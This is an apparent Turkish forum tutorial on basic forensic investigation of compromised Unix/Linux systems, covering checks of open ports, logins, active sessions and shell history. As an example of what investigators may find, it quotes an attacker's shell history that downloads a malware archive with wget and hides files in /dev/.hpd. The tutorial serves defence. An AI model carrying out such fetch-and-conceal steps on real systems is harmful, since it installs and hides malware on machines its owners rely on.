UNIX/Linux İşletim Sistemlerinde Adli Bilişim - 1

Oğuz~#>

Kıdemli Üye
5 Tem 2009
4,772
16
Bursa
Hazırlanan teknik yazının amacı *NIX sistemleri özelinde adli bilişim konusundaki Türkçe çalışmaların eksikliğini bir ölçüde de olsa kapatmaktır.

Bu yazı *NIX sistemlerinde uygulanabilecek ve sadece temel adli (forensik) analiz tekniklerini kapsayacaktır. Kullanılan yazılımlar oldukça genel tutulmaya çalışılmıştır. Sizin karşı karşıya bulunduğunuz durumlar için daha uygun bir yazılım var ise ona yönelmeniz daha doğru olacaktır.

Bu teknik yazı ve ardından yayınlanması planlanan yazılar sonunda anlatılan tekniklerle:

  • Ele geçirilmiş sistemleri inceleyebilir,
  • Sistemin nasıl ele geçirildiğini öğrenebilir,
  • İleri düzeyde inceleme için gerekli temel bilgilere sahip olabilirsiniz.

Önemli Uyarı: Herhangi bir adım atmadan önce önemli bir karar verilmelidir. Eğer var olan saldırıya kolluk kuvvetlerini dahil edilecek ve saldırgan hakkında soruşturma başlatılacaksa kesinlikle sistemi olduğu şekilde bırakmak ve hiç bir şekilde sistem üzerinde bir değişiklik yapmamak gerekmektedir.

Saldırı sonrası yapılacak herhangi bir değişiklik, var olan delilleri değiştirebilir ya da tümüyle ortadan kaldırabilir. Bu nedenle şirketlerin bu türlü durumlar için "saldırıya uğramış sistemlere dokunmama ve asla fişini çekme" kuralını uygulamasında yarar vardır. Bu şekilde kolluk kuvvetleri varıncaya kadar deliller korunmuş olur.

Bilişim Suçları ve Sistemleri Şube Müdürlüğüne bağlı görevli memurlar, büyük olasılıkla komple bir şekilde saldırıya uğramış sistemi veya en azından sürücülerini içindeki bilgileri güvenli bir biçimde saklamak için isteyeceklerdir. Bu noktadan itibaren sizin adli bilişim analiziniz bitmiş bulunmaktadir.

Eğer saldırıyı kendi bünyenizde araştıracaksanız bu makalede ve sonrasında yayınlanacak makalelerde sunulan örneklerden faydalanılabilir.
Motivasyon


Kimse mükemmel değildir. Herkes hata yapabilir. Ancak, aynı hataya iki kez düşmekten mümkün olduğunca kaçınılmalıdır.

Yazılarda yer alan komutlardan bazıları sadece root kullanıcısının çalıştırabileceği komutlardır. Bu nedenle root olarak sisteme giriş yapılması veya sudo ile komutların çalıştırılması gerekmektedir.
Ağ Bağlantılarının Kontrol Edilmesi


Ağ bağlantıları ve açık portlar netstat komutu ile kontrol edilir.
Kullanım

Kod:
 	# netstat -an

Bu komut yardımıyla herhangi bir arka kapı "backdoor" var ise görülebilir.
tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN

Yukarıdaki çıktıya göre IRC için kullanılan 6697 portu açık görünmekte. Bu iyiye işaret olmayabilir. tcpdump yardımı ile bu porttaki bağlantı dinlenebilir. (tcpdump ile ilgili bir teknik yazıyı ilerleyen günlerde yayınlanacaktır.)
Kod:
 	# tcpdump port 6697

Bu noktada saldırganların "hacker" iletişimi büyük ihtimalle görülebilir ve sistemin nasıl ele geçirildiği hakkında bilgi sahibi olunabilir.
Son Giriş Yapan IP'leri Kontrol Edilmesi


Brute-force attack oldukça popüler bir saldırı şeklidir. Saldırıyı gerçekleştiren kişiler last komutu yardımıyla saptanabilir.

last komutu kullanıcının giriş ve çıkış zamanlarının belirlenmesinden, bilgisayar-adı (hostname) ve IP adresi bilgilerinin elde edilmesinde kullanılabilir.
# last -25

Yukarıdaki komut, sistemde oturum açan son 25 kullanıcı hakkında bilgi verir.

/var/log/auth_log dosyası da başarılı veya başarısız oturum açma girişimleri ile ilgili bilgiler içermektedir.
Son Çalıştırılan Komutları Öğrenme


Hiç bir suç mükemmel değildir. Bu adli bilişim için çok doğru bir saptamadır. Çok az sayıda saldırgan parmak izini bırakmadan dijital suç işleyebilir.

Örneğin, birçok saldırgan .bash_history dosyasında önemli ip uçları bırakarak sistemi terkeder. .bash_history dosyası kullanıcıların çalıştırdığı son komutları içerir.

bash_history dosyası bize saldırganların neler yaptıkları, hangi programları yükledikleri, indirdikleri dosyaları nerelerden aldıkları hakkında bir çok bilgi verebilir. Saldırıya uğramış bir Linux makinesi aşağıdaki tarzda kayıtlar içerebilir.
wget http://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar
cd hpd
cd ..
rm malware.tar
cd /dev/.hpd

Yukarıda görülen komutlar bize kötü amaçlı yazılımın nereden alındığı, nasıl çalıştırıldığı ve nereye yüklendiği hakkında bir fikir vermektedir. Bu bilgiler elde edildikten sonra, yapılması gereken ilk iş saldırganın klasörlerine detaylı bir şekilde göz atmak olmalıdır.

.bash_history dosyasının bilgileri ne biçimde tuttuğu konusunda dikkatli olunmalıdır. .bash_history dosyası sadece kullanıcı oturumu kapattıktan sonra onun çalıştırdığı tüm komutları gösterir.

Eğer saldırganın hala açık bulunan bir oturumu varsa ve onun .bash_history dosyası inceleniyorsa, boş bir dosya görülebilir.

Bu gibi durumlarda açık olan oturumları görebilmek için who komutunu kullanılabilir.
# who
user1 pts/0 Nov 18 23:33 (1.2.3.4)
user2 pts/1 Nov 16 10:22 (5.6.7.8)

Bu sistemde user1 ve user2 olmak üzere iki aktif kullanıcı görünmektedir. Eğer user2 hesabı ele geçirilmiş bir hesap ise, tcpdump ile bu kullanıcının etkinliği izlenebilir.
# tcpdump host 5.6.7.8 -w demo.dump

Bu komut ile kullanıcının oturumu açtığı IP olan 5.6.7.8' i izlenerek demo.dump dosyasına tüm trafiği yazılmaktadır. Daha sonra tcpdump komutunun -r parametresi ile bu dosya okunabilir.

history komutuda oturumu açtığınız kullanıcının son çalıştırılmış komutlarını listeler.
.bash_history Dosyasının Etkin Kullanımı


history komutu ve .bash_history dosyasından daha etkin bilgi alabilmek icin /etc/profile dosyasında bazı düzenlemeler yapılabilir.

/etc/profile dosyası uygun bir editör ile açılarak sonuna aşağıdaki satır eklenmelidir.
Kod:
 	export HISTTIMEFORMAT="%h/%d - %H:%M:%S "

Artık komutların ne zaman çalıştırıldığıda görülebilecektir.

Önceden çallıştırılmış komutların zamanı .bash_history dosyasında olmayacaktır. Bu nedenle sistem daha ele geçirilmeden bu değişikliğin yapılması gerekmektedir.
Sonuç



Bu teknik yazıda ele geçirilmiş (compromised) Unix/Linux sistemleri hakkında ağ bağlantısını kontrol etme, aktif oturumu olan kullanıcıları öğrenme, kullanıcıların son çalıştırdığı komutları görme, IP'lerini ve makine isimlerini öğrenme gibi temel bilgiler edinilmesi hedeflendi.

Bu bilgilerin hepsi davetsiz misafirleri kontrol etmek ve sistemde var olan açıkları öğrenmek için oldukça kritik öneme sahiptir.

Bir sonraki teknik yazıda dijital saldırıya uğramış Linux sistemlerini incelemek için kullanabilecek temel araçlar hakkında bilgi verilecektir.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.